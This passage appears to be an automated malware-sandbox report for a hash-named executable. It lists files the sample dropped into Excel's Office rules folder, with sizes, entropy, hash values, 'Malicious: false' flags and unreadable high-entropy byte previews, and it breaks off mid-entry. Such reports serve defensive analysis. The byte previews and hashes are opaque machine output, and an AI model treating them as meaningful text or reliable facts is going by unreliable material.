Preview:	<?xml+{rjN....s.n=...,.f.U~t..2k2.z-..?O..jx2....2?....5.hdo.g.5m#...D..l7B..==Ih..mDG.K...{qn-.....K8w.;....i..JF.".P$rKF..."J\|....o..y.]....F..N5.Ea.%..#..3...c..y..(k.s...I...dBZt.Ow<L8$]f.....=8...f..@hQ.j....<{.w5.%.DL!..'.=..1..s7t..HT..\N].#.u..}K..-...........H_-@R9.".......ycs.Bs.T.KZ.D}n..c_\|.<.._!....2D..........'. ..?+...v.3.~...!.c..x.......cUXL..z.C..P.........I..0@.3n.%..Gh...P.=........=.em.N[.R.:.....%....y...8.. \|.vMX.......i..t...8&..f.......I..7\|..U..;...~k\.....u.s....dT...nI....t.5.\m.6.v..........P.)..:..,.N...6o.\|...._.4)GE.r....'q...L...k*.].}..5e..#mxa.<....l.Q...aj...=....[.B...h....`v.t.p.0. ~vg..).......cWt........s."..Q. ..O..D3....4j.t..KO.....W.._.'FM..=......W.(U.$...B..<...._......M...F.h(B6.......5..FD=.....\|\!...r...>j.}k...:X....`E.[._..T.9.ji...J`..&>P-...9.z..k.Y..u..d...99?...?..........\|.. x..~OB.vx..1o.+x.v..#n.&n<$....l8..u_.'.x..b..Z.A_.).{...o.GP.s..R.........zG.\.:.Xn>5(...=.`>..eu..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.7318919466447
Encrypted:	false
SSDEEP:	24:dnz0qvNQ0QUNm8tddOrDbLQfvNReCfjAJUMg7EatN/rhE5kbD:dz0ySMoMOrDvQfv+W8aMaEatjEgD
MD5:	3FAE4EFEF160817C087C06A1C9E39A27
SHA1:	F32D0D117F98884CB6D64FE6488F77308C677A1F
SHA-256:	A52B4277145FF82F26B4780A19C16A8C1419CEA1ED8B76DAE339E6F04F3A11C5
SHA-512:	775F8D11C5F3E91443725613674702E0C45C6096A6BD66020CB5A5A19CFA061DFD623B645D74403AEE7F3671DBD8DE4E056C83B5B1D58EE5B8EEDCAD6BA85A0D
Malicious:	false
Preview:	<?xml...=...RD.?o.\...k...V....U.T..d.....9....Z..s..J..#.....s.v.......Y..f~.<..).5.7>..>Y..a..}....-..g....L.....{@......Q...@.[.....U.._....s-7..>.z.wot.\>w.oPM2..E.T..+0..._...\|G...;..4ip.m..\|+Gr......J.1..Y....... .....r....{,..M.ES.I..b.X.w\|...P...A%.mW.]21..........CgU..;....\./=:...f5FY.#........=<^..c,~\....)..p...(...)vesF..:."....lK_.......D.....VW.....a..J.J..L...%.! .....d...b...6.....FF.Md.....V.x.m..f.d4...X....(.&.TN...t..Q....a.}..8......I....jQ......7..A......0.E..e...xG...._....st....%.H.-"..........%Fi.../.=.e..Y.....{uy~F...j..q..O.5...V.../........g3-Av.o.}.d......0?. .....F..bD'..6j............(.....}]Q..3...%A.....w..h;VH.I;g..X(..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930983484969557
Encrypted:	false
SSDEEP:	48:TpsjsQdTx98HRlCuft1oBAG1Kt3AW8AGXAXNp9lh9xUXdnNgPxWpd+d2ZKAQPGDD:FOjMD107Yz8xQXNTv/CNVpcwwaP
MD5:	A70B7B5ACE7E55BCD91DE3EA7FFCBB14
SHA1:	D2D79447EB34878B84743BCB0AB4FB704C617A03
SHA-256:	80104D4C1297C293A6CBFDD0B5ACA58623C4C427645FC948AB801BB66098B53D
SHA-512:	06506025E1E57EA33F5ABE9493CC7433861864440F773882F38F2C01EDBB4E32666F9943F2C4C502E2FD837A679885A7D31E55B457357A4B8E6BE5022B34756F
Malicious:	false
Preview:	<?xml.......ji.;...A.v.edK.@.e:.$.+.F....Am.&..m..K..o.?XZ.4..9'.2!4....h.P..\|m....,....A.@....J.e.E....yD....p7.;...Ygno..u!M..b.j..iz.....B.?...-.G.L..>..r.d.aE......c..@.$.....5:.8V...S(;.W.......{;.%)....d8...<(I....C\|.OTs.z.t..n....m.v...$..G.lh..W..........~.}.7}:...=...HRF.g,...\|...2....`...I....6..wJ.&..Y'..`...cw.y.2v..4..".#......{...Js6.W...q.Bj......?..7....\}H*._...S.u#8...}.6/...O/d.....c.G@...d..v=....<\..Z..k..#i.L$..A?..p.D(...+1...#...82.l..h......W...0.%..o..'c.R..~.w.G..?....H/%.Hz.w<O....G.7..Z.....D...z.....W9....`<'${..l...\|....k...q..6.`..u/@.....`N{..@#........C...y.\.........&..h{.S"&R\|..S3.L.J..SV.,.W.....{KG...tf.C..:.q..\p.>%.....@....^.<`...[.Y..\|..!.l...b..".?&+Ov;...~...l......c..t...l..cV..t..w..S+M.X.8W..dYl...39./.T.v.c.0..YB.Z.p.%}..d..k.....F.5.a./.p.N...\..a.3.>......C.[..,`..x.....F.;J.t....m.9o...!.U......z.2...\|..7......&........,A..nJZ.^7...2.].VR...?.....nDX'.7B.R..G.t......F:.....9+..y.E$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.705748068121912
Encrypted:	false
SSDEEP:	24:XfzRDahIVlWPby7oDlM33xLSjuk1yJOgkbD:vIIP70kSjuk1F9D
MD5:	C90388E40792030D262CBA312E8D59AE
SHA1:	C37841BE61C1D78C7C7EE4A5748295C2EE1A5B16
SHA-256:	111C5D5BB9D40FBCFDFA9238A1212CA761F83F7D426684B14A970A21CD8163A6
SHA-512:	D7513732B0DC6B29C07019618EBC3A0B16C18B50033E9536DF70CA0BE550E8216D84D5EB8A949CA8AAFFB6E26981432371448D2D95F4E61549EAB81253557EF0
Malicious:	false
Preview:	<?xml.....g.8.r...B.f.oK<y..$,.w....e..x.". 5.[.J.".W.....{.....X...Z..'.u..}>..mZO3.\.U._?0...w...^.R.d^.u(h.h.......~..@..l#@.g.A.u/'.......J.{.n.r.C~..#Y.....jQ.U;}y....F.....m]"+A?.Ui.&._/...q.........X..A:.bU.{.G.._r.....,..Y...Ki...q..3\pN%., .=f..c.../..3RZ....y....k.........M.T.9..oq..%.............cP.A....DGi.e6....Ql..1.[7s..E4...meJ.2'1N...&-)....AC...I.F....@n.g..\|......izYE....<a.S.(.ub.&T.@.d(_.....s'.i...{..m`..o.B......i'.~....bP..{...3f>...-..t.z.v!..z........o..........."[S.=.....1.[.y.1..3...!I..'.O..i.(..e.?.....&B..G%...<.z....5Y.W./y...)Q.A4..~R.n.xU/..g..p.U....m.........a..<nO.f:G}>.BU.T.`K..-...\....DJ.,W.J.....5..B.....6>..T.s.....$..+a..g......5.....al....#.M...`l.._..~ydYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930221629078549
Encrypted:	false
SSDEEP:	48:Og1s+v/O5k48W2EI/IFvaW5V4EI5rBE9FVh6Oe/QWdAadmv/E+RS48mVQ4CeK0DV:jvG5Ff2EIyyoI5ly6Oe/pPo/1dhx
MD5:	4ED3E7668FE87F0A1AAE9190C03E9929
SHA1:	30140B55D6DB6945CDC8138D4EF033C32D468C9F
SHA-256:	194CD8D5201FA4E2745E55EE5B5ADB81D24FE97AD75A9E24BAB3766D4C624D3D
SHA-512:	4FAB1CEE191AC46A3B4F8CA3059CF159ED075049DC677EC59336C8DC5964F4965B342033FCB874D8BF46C583649CBF75F8A51D0D2B33AA3633620214E7FA3BF7
Malicious:	false
Preview:	<?xml\B3f ..2(...m`..fg.3...$_L...x2..>R..x.=d....?.8..9Oou....72...phsE.3.`..FLx....?....X....O#...I.T.1.L.Br.>[?...t5......p]_:....@...:D..:.WZ%...\|.E,A\,..Q..OPi...^......:b.4/.D.....I}.o_...8.[.=s.........UK.^{x...s.-.t.W.v.B..q..B.:s8n.>-G...wUwf..=^..V...pe.7.Z.=.......#.n.N..zG......!..]...tD....l.+.....i...Bo.<.`.~..0...a.B...v.k1@..s^....OsUy.R.!.(.w.3.............[).j..T.B...K:.....H......^$.}...+a...#x.;.G.....#.\|...#..f.#.W4`(../.+$^..Q2l=zU.oI...........F7.Rg.6,Ci.s.b..?.=.i..~1....w...}CZ....[}.....K...u....._.@..=2pPec.".j.\..Kr.....+.H...N~.!.x.l.. 0~\f....!loI.'............t.k.@&...m. ..A.[\..7C8p.S5.!t\|.0...Iz........T4...nR..:d0N;v{...../..S.J&..p..k...5.7.;....[=L.]..T+..q.b..3...Z.!~....7.$.YY...3-..I.9.A...w.U..0.}~..Hfo...3N0........-.?.....Q...:......_.a.).</.U+...^7......`lk.....a.2)l._3N.*\|..l.&./\...o.l.[...>.......]R.n<.1......=.<...1Wk........x...@.a?...Xj....I.q.....h!...$.z...............D...?...E....P....A2..s.@..B.y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.75735672799177
Encrypted:	false
SSDEEP:	24:5eLdspH0ub7ZJp7anZXCC8D6jqpE2Mpedsj+/4kbD:5eZSr1vOnZXClOCEBpsE+dD
MD5:	640F5B481272E468BAA376AED65D4F56
SHA1:	E2EE3C74D1D9820FD402EBDE0E1F6EB465FCF3A7
SHA-256:	7E5E1FD9632CE35CF44DB170C461A7A0C44E26E96BFBA5288713C186454D814E
SHA-512:	EBE11FD2ECBEADC863C2DB63DCB51B481BFB1EEE2733B045F271FBD3618FBA3F4B1514052B21B72F5177153FFE6F04F18B1EF4361A65FC09E10A5DE4932A17E9
Malicious:	false
Preview:	<?xmlf`..>...L.7,}....cO.e8.{.SqcC13..+.8.....8.L.\|..`....}..l..E.W~D..g._.U).....AB..OI.pM.7{.:K.f...Lz.Td.YTd..~._....H...._.{...&..:.4?7..t.-..@.'..=6i.8....;z..T...zm@......=.q....^Np....uO.ZGq...;.&s.I..P;....,9.V1..d{.Y..._.Qc........w.m.. >y....g,.Kd.^o.7"....N.......W.......q...0Q.o..].{.....\|...K.L.KG.6B,@.s..ov... x.. ...F.L...i..3}.Sz/....:...}..J\|.U.V.N.......#.......3..>??.ob.r..p.Uy).(..h^`_-.+.7;....d\|."...2[kO...J!.I......o.rW..Lz<....{.i.3D.P=L.a..Qn$.J..4....7....>...y.....e.3....)......:d.zi5.@...z0 ..u.^N..Z.:........;U...M?.y..x-..>TQC.u.<....?b...A.D{....w..l....Ea+..9.5....fS.h..I.O>..c..H..4pI...P........... >..5"p"...S..G7F-...e4= .<.Si.eW.I...IV-..8?.w..)....E.#..Df..$. .>3.?..>._..\|.:.....0..E..r4`.3P..pE...;e..g.....J.....C...../....J._.A....&"q.k."..F\|.d.-.}..h......>}!CmE{.n. .z...Y...?.DH...[..c<.V....S.d..;(\|BD.j.c`.S....=...X)..6.......].j.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.847153031012266
Encrypted:	false
SSDEEP:	24:dy/BLMyORNwTb0LCPGVm5bW5A0EU1SJxJuo5b9CHkA9IgzfkbD:E/BIlCT8eum1Wm9GkuwekA9IgzmD
MD5:	13DF03B21867A26A7544AC4C4A0514DA
SHA1:	D64BE356FD9D17CA2AD3FC85EEEAD5D744ADE507
SHA-256:	B68E2179EFA8EA251235F490FD064CBF6F15F31A6EE07B4BFFA5C1B9B3CB5BE8
SHA-512:	631080382FDEB09EE2357FCD997FB337509BD97BE6D4C75599BA205B086A2334774A73E0E4B286163B8C7615B1B5002297F482BF899D3788B84E6A0CA106D433
Malicious:	false
Preview:	<?xmlA..\|.2..@......:.Z.8zD...v.vX..).~[7u.R...E...9.!.69.a...wY.......a....lu.]..f..e.L(...4q.tV.,...~.pk.%...L.....:..K/w>:...g.3..e..W.3........;...w2j.._.P.JE...#.).,..........B.6....[../.u.=Tp........`:.(.......^....~/.....s.l8D.........C.f.a;..>a.q.V.~(,.......l..l54.U2ig.......~....f.. ...0..2udPO....K ......1.J.....RK6.["q.R]s..gZ..<.L.7...C^..6.d_.Q..\|...............9.....ie.;ofp;<.~y...u.._..8..[j0RG%c.%..u\.?..!.A.;....P.........T...O.H..@.j......N\|..S..G\|)....R:..7..k.p..d..1....3\|..;.XN.S.'...Gz..h<j.b2A[...;.....<..53..H...{Y...<.isP..3...[&..v.......h].YG'^q5......a....6.p.o.....S......N.2[..a....`....U..FJ.Ue5oZ>9...>......9.....X..7v..P..T...D.+R%...jl.....\..\.c.L.....sM..>.Fg..,.........+..a.7.0!.lS..e..%.G.!.....Wr..{..h..p.FnsS....^3.(:_E.5.$.I......:..............W.9G..Q&~..s.....^.[.g.d.>.M....S..\>..C...j].."... v.9T.AO.=n.W.D.."..&.<..).i...]...i....~......F....PX....[a.$.1(<...<.."oF..t..V<T...#....8.j..~...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.754257497146203
Encrypted:	false
SSDEEP:	24:rnEog0QCDN0pK4rx/Mb41Ne0lOEaYuW1FsZ7DdsaNkbD:boCDorx/MbaNeioW1mZviacD
MD5:	A25F119B0EA0784FAC1665BE78D7D0F7
SHA1:	0039EEB8A9F9A9361D0C940F8E76B520BBB9C687
SHA-256:	4EA14332CB6F577465F667C88445F0805367297BC54F2ED9B87809E1CC61542F
SHA-512:	468D7EF2F43E6C458B01DB946D9C160A07D33FB9689005E910543791221783C2F1116B024D9D2C874E12C67AB11A0DA09871582CB5FCC79EBD3157E4FA601F7A
Malicious:	false
Preview:	<?xml.;z..x....d....G....<..)...U.....q.2...........d.;.Y...G...X.j."..C.<..e+..P.=m..\|.J.D"a^...w....#p.;.....(]...ul#.8.I..T.iR.P.nj..W.G.Cb.+N........q....S]KT....l..m..l>.&..9.w..0.......Kl..........y.z_]......m.)!.G..w......j.cl4.{..zh..k.L.6.E.@#.@zn..'i.Y.qZ.P..#...r......i.+.BG4.(..}3.H....eb..Z...8..u..N4..I.+.D....;..8..P...<u[..f.A...\Z...O(.E2VY..0.....3P..K[...{..6.:..-#...[5...S..&a.`(e....3......$Cz...`Io...tq...}.!..3y.f`...8.d,..TfT./..WsR">J.f.3.g."4.}....C.[..../s..2{Y.U6(...B1>..........Rr...r.b....V3.....{D..vq..q...r....<D.{i.d.>t....>P..7-.^....q..p?.......i-Yu.X<!!....I.......l}5.7..;.V...oR..,J..........6f...q6ZM`AS...k..{;.%a...N...O..R....q...zLP.x.5HV.+....7..1.....F....].....S.DT...J.A.)L.E.oW.q.@.d..Z.#..@.C..^^..z......xK.)N...K.dk-..C......Z..Z.Pu#"...X.:...@kZU<.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.763154983006323
Encrypted:	false
SSDEEP:	24:sQGSG6h5sBq15d6xO+UBU0n6u5ENVn7Li+8kbD:sTosQvMg+kbn6w2N7thD
MD5:	A5CA16B8EAE8CB0C5BC18459CA61F844
SHA1:	3835513CB6B3EF81B90ADACD89F7F24DFF338A82
SHA-256:	4A580D10AAA03722C5AA020312BA82B77108533FB42833EEAD820D37220C142C
SHA-512:	61656713AE1025812BE95492C4294B63926D0E887E13B8C8408458626BD91848ECB44F2A0968E5BD20DE4E18E8695819C5F564040E85328F117EB707F1755705
Malicious:	false
Preview:	<?xml.r...0m....-.3......K.Ka...sJ.....97qH.....=.`..).....-.....aa;.kh..F.......~..H..z..o....u...`..S..$.V{.d..\B.....M..&.n.j.,...)...k.S.Y(....e.wf.(..Z.......h...C...~..l...!./b.t.8U..g.h..p./.09.6....b8EU}hP..%........B.J._b...s.P.{.S...........9.T?.o!?....A...-.`,1SO.<.......q.."...\|..?...ql.b.Uj...K..Z.g}'I..O.......^Y#....Z`Y..=,~.!(.a....'.V.y.E.!..m.i...U!.8-.R.....i.K.8'..h.I.T..w._.].a.dBk......%5#I.V\^6...fA...q.........U.C...EU{.......5.:.Y.\|..9f(.d@.H.4.%TP.r..3X...a...x...v.{...Osn.9..@7.ir.z..8...}..B..v..K.kG@.w.......).+.C.+..~...h{...$...d".........%...Q..a.^.N:c3.].z.l..^1...v.Y.]..H.:M?S.....m..[p...\.<.}n{O...-H..B..$`....$....[8p...`....C..wQ .\..<\.h.....#Z...r.<.'....=.)].._Nla.g..h.{f..B...."..UJ.ZX4#*/i.^.o..o[...d...\|...Sj4..?dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.803109017696846
Encrypted:	false
SSDEEP:	24:6bJ0K2zKoauvFyNtYAhm1JrnGu5R/Xavd561Tu3dzm5Om9TSEkbD:oJ0K2zKoHvEbFYLrnGu3/X28atzmIm9e
MD5:	0D7B985A94DB8590CADBAEE46635FDFA
SHA1:	CD51B2126BDA3759A1FFD3C92BC1A5A6C142509E
SHA-256:	8157ED972FE58978224425818B273204C2F957F36A29BACA8EA73F0560E792B0
SHA-512:	BED7A06E0D6D9857C98200693A18CFE0AE797683776C9B99EA1251152FA10E3E9331B179990EE05B6FB321B4B5AA6551A5ACCDE0A36C1EF92487614A88BBD61D
Malicious:	false
Preview:	<?xml."..gAax.%.#......47...........Q..7..6l.S..s.e...,.!..........)..'.h....\..l.ZD/.h..UK......F...=\|\..._..T....F..\V3...x..ag...(U.#...... ...n`_.vN-...}.....o...C..}.X..7C....{n..u.....[F.QA..$...:5{B.v.$tc5.vUv.H"fR.E.k...>AS.Um3.>#.a.\|.V\..=....7....I.E3..4.\|..V.N...XaX....Hj.T..~A.Y..C.....@..........v.tC.5%......]...L4C...,.vv\|.O..+s..O1....T=.b.w.v....}\!bX ...6...!~.!.d#n...}..(......h>.x.}......igq$...C.r..Hn.C...-.Q.l..6..I.d...E..{=..l...V....A.\|g....@..3...k..B.z)?8Ymh..-..`M..-.Xb......m.qF...........V..m...>V2L..V.q.....A.}..........85.,....z../....S@Cck....2:T..O..<....G...S0.Q.Q.9p...kY.1..Gm......UZZ...J~.7i....niJ..lm..%)cN.....&..,\..;t...Pd...)J....g.d..r..hrD..].%...5[R....t..@M....".h..vaF......B.4ZJ..+W~..#.#...E......^.t.U....Y........D....e.<......`{.d....q.2{.@7qh....[fv/.6....5(L.JI.XlS~>.u.!5...r.B.h...jO...r..S..............:.\|.}.).~..>.( ....R.4.2....v..dYUDKE4rrBmSPsf8srHMsyP40jle9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.754702901323486
Encrypted:	false
SSDEEP:	24:IcUCs7ROHULWjSIQkFnsrXXaBEpmYuiJWuLkbD:XYdO0LW22YXXComLiJWuaD
MD5:	E3CD2E4BF3D641ED49529711C2068DC8
SHA1:	58674BF39C8BC747B58E2B794EB5083572347EDF
SHA-256:	8AAB08EA4E5A35E4BC65D8A847229E4D9790E48A58F7C5AB8FE8014C39F8D908
SHA-512:	2021B9C0F4654B354B9D9B2DA2F8B66BD2E7FC1CA329FF1C7AC287E3CDF576C3CA5376BF943924EC3EBD1885040F88BDFA27179FCE1121B383472D7A243E9518
Malicious:	false
Preview:	<?xml5g.=..'3.....IWkBT}...ah'.I......>}.o..~.{.EP....3.k..._R.o..s_..J........)..m..,.nly.U..d..Zuj.W...m....N.1......".ID.+.#.>.v.@.'.......]A...G`.zEO'.....B.....Ph.....US...b\...t.@:3.W>..W.4p.\..".?p...y.DWA..K$R....\.....-.+..5G.4.V..6.....u.../oH'."...%:.I.7.!....9....3G&L`LoZ-...!.f.<r.....i.~.b...Eqp.....#.>x..L...:......4XxW=bY.]\..N.i...........u.._..Nt...<..!..W$.hz...P..@o;B........J...m.V....F!F..=M.Su. pD.zh.>...L...........R.LX....?..D.O.VcZ;...2.;kEU..+..A....?...A..W.+...u!..R.\.y...w.(o.E..9....q...C.Q"....8.EH..7"..a...j..../S.n....Z...r)...TP..)'<..#.g.{.~...{".%m.&..P....Z...~..G...M.%M...(...N............ :.d..l_C.....O.....P...`....+...D2.WX......)...9..u..4V...r.1.1....t.o......O..}@-..Z0....<K......0Q..y\|.%.f.m.......+.......t9dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.974220366440657
Encrypted:	false
SSDEEP:	192:2vQTLW1CucorcKZ8kZUdqSNgMjuvKNZLaq40AihL4:TvWHco78yU8SNgSaKNVW0AihL4
MD5:	6BC277D147F2BAF2E26162A6784E0B6D
SHA1:	4DCC1066E3DB50AC84678181C5B20FDCEED4CE30
SHA-256:	20A92D1D4A40515B52E624AF95434BE8088D4B45F1C9A6F518BF9369D2D95647
SHA-512:	A5B6AED52DB0A7B8673FFE13DCE1411DF2984FE101FB7878BBECB7566F17412D4A79A542B91BFC94CED7FA15D6633C1EFEB76EFB63FE541C2E4524192E95E9D0
Malicious:	false
Preview:	<?xml.._.-\|^........e1.....^d..s}....zZ..eWD....:O......`..&e[..F..a.v.e.....)..'... >.m...I...3.a5.R.E.4....:`@/....tIt.=...A.,E.'o...@. .u.....'......T...2S...%.?..x..n..Wny......N......E&.<#.DK.;[......X'Q..>...Qm..1D.....{./Gn(i..\|...^..f...?..f..)Q..>.:.!....r.f........s..u..X....y(...)..g..+.t.uC.{]...B>..D...]~....Ss...G....-."s....=.......g3D..N6^W.ri.m4._...zH....D..>....&...4W..B.._b`/.?.=n&.h.0..l.....0;G{.#.Yr...B..E.j..tc?.XXe.....WG.K.U..x....Yy.9.^ 9..")4...\|,@x.......q..;.z....kr..:...:...c;.GI.u.../....D..?.S.)........z..96..C...n....J..8.X./1).N..s.......[.........L.}.'..6W....3.'.....8vV...qb......`...7.c.i.' ...+...:.RA.M....@.=.'\|....] ..F....c..."+.-..3?..J...Ca.D.6.....oMh7......i..^...=....`.^....^.J.....;.4"Zn.d+..~.hs.f.......X.i.3$L.3Ch... .7j.....{..u.,.i...m..B..v.._..@.BF..82.7...~..j..%..:zL..=+..6..'.mN..@.....X.._7@T..>.\|GZ....r.k..u:..c.z..C.T..%..+m....g.5-L.A..4^..9^......"..&B~y....\|.\.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.806656837099359
Encrypted:	false
SSDEEP:	24:hCG7BiAOHLzxA+DZ/TttutLi6667txOeke0438qUi/MVYR1qkbD:UQ8AOrtzDZ/65i666pxO4XUi/MVYXvD
MD5:	CD2FA75381DFFAAC3AC2B5FD0974D219
SHA1:	769AC37C5B1042D25880567AA2D3DCDE3483B628
SHA-256:	1504062D2CC1D962D6E13A90B1D9812502DEDF5C7C39B50CA64B6E9366B9E27E
SHA-512:	964476171E55CF8179380593CA961A57369D12DA8533227802F2270253EF1708CCE205E2D50C45F918BB5BEEBEDD3DDD9DC19C6A09348621DC9CD0AEA25F0202
Malicious:	false
Preview:	<?xml.{I.a..6.....q.K..^...:..)z..E}.^W...$.......4..L.t...L0.d.[.{.............f.u..#>.<b.'..C.@.<..(..~.k.......E..8S...m..gf....a4...B...g#..}N.We..i........[.z.1x?0(.Yb$O./N..D..\|%..X.Yw..(.....8..8Rw....z.}i...-c....E.!.~.GD..\|lfK.\0.J.p..hQ.l...@..#....cK..,1N..o..u.g.L.v.d6>."...s.GY....B.......i.ZywW...5....+..c..V...k...Li....q-..<...>..4.o.4X..$Jh}.@\|y...Z./1.C.G......]..G....E........q.B:.4=F%..[u..F]3.?.n..s.R9..2B.....`..0..3$....U...Pu...Bv.-D.0].......cr=9.. T.=y#.....#...3Q.I.Z.^.........\..(.._.y..y...z..>....7v.Te3.<....h.x.}.Z.l...0..B.D...i....:.B..fe...'..]...5..\|C...f.z..T.).!...}ISe......Q-E...^.T\|av:!}.\:f...>. ....%..l..4.+...y.?.u.Q.X.*...32....qkZ.0.Y4S/m..#u'S.T....i.GK..$..ytfk..<5cy....l.1..K..R>T....4y....G."...s..{....39.0>\..I.....E.$..k.>. o.1.-.t..)..T.IVz...o"..H..[.....rT.......T.]XR`./Ti..8.~V.%.....:.q.Q.5.V..V..!.1m..#.\|Y<,Xn,D....9W..F4.1f....3v.O$..s.1`$..t.OP.v.oI...>&..@5z....zl{n..4+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.843296181367648
Encrypted:	false
SSDEEP:	24:oR6X1x1AA4AGI79uzlCyAEi50L+0p/yHlsBaPkGcN+kbD:oYxt4AEzsNF+yFsE8vN7D
MD5:	E20A17E5B30379275F834934871C234D
SHA1:	A51218917C0039F3CCAC56ADA7EA8C595DE1C669
SHA-256:	D5E51AD5F9B5834114CC9FB1062C594C2C940D0500B0F6298C88E51F94A4F85B
SHA-512:	23166FB716D7A519DFD92B6718DE25C9BD66814462ED22154C2CFC710813D9575BD2689D2FA2C3BD1035477B066201A704808D2B88B78287E1F1E6BC71744AC3
Malicious:	false
Preview:	<?xml..."T....4.F..u...1...M.y.....~.U_$.Ln...e3'?.,pe:M.Q......W.R.....B.W$...$..\|.0Y......J.ca.\|..."cR.xy._Y...D.bV.....c.....L..lY........4...E:d.- ."........wg.^..<.i)z.B.....l...cLL..x....43....j.BPF...U,.q...a..J..M.S..ox...R..u.....K..{......WF..Bi.j[@".f.+.?@.....^IE..g......5V.{`..4].Kr...(..J..Q9.p.....r.....~.f.s$T.p...&...._olo...=w..Z4l...lqQ..b..v_..._+k..]e.ut.Ks.ik..a.CY._{.. .(u....$...$......E.(.......Q.+f....L.2.U]R...).........(..>..........l...#LS?..C-0......w....s.C...y..c......<.2......I..}....;:....+....yq......a.%.......Q.GP{...}+..TU..........9m.)98......wB`A..Wp.&....].,.\6O.~`.=.b.X...dC..W..e......H.4.U.?....8..rD.h.........>..YQ.y...l~...w`...u..%?Ur`.S..`4.d.X-.J..!G3.:.2....R........s._..!.@uu .4...d.k.Y.....I..~.t..3.@$p....~2.....NT.Z.......e...V.$Qv....\...%Y.. .cc..f .]...i.g....4....F..nD.G$].......7e..(.&..<8.Fym.J..k.)h....3..;/.;.........$.9..:...f..<.1.*.3K.....8,....y....U.U..n..W..#.._}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.761231883779377
Encrypted:	false
SSDEEP:	24:gCd/81AxuFG147fIVRwRB/jIPXKGbsRsLlWgoRpMNkbD:2fEcxjIPmGBWrTD
MD5:	EBCEBEF6ACB1D1747DCF1F5D5851A76F
SHA1:	15D52549F2D1ABE1FD50E7950B0646671E2A1849
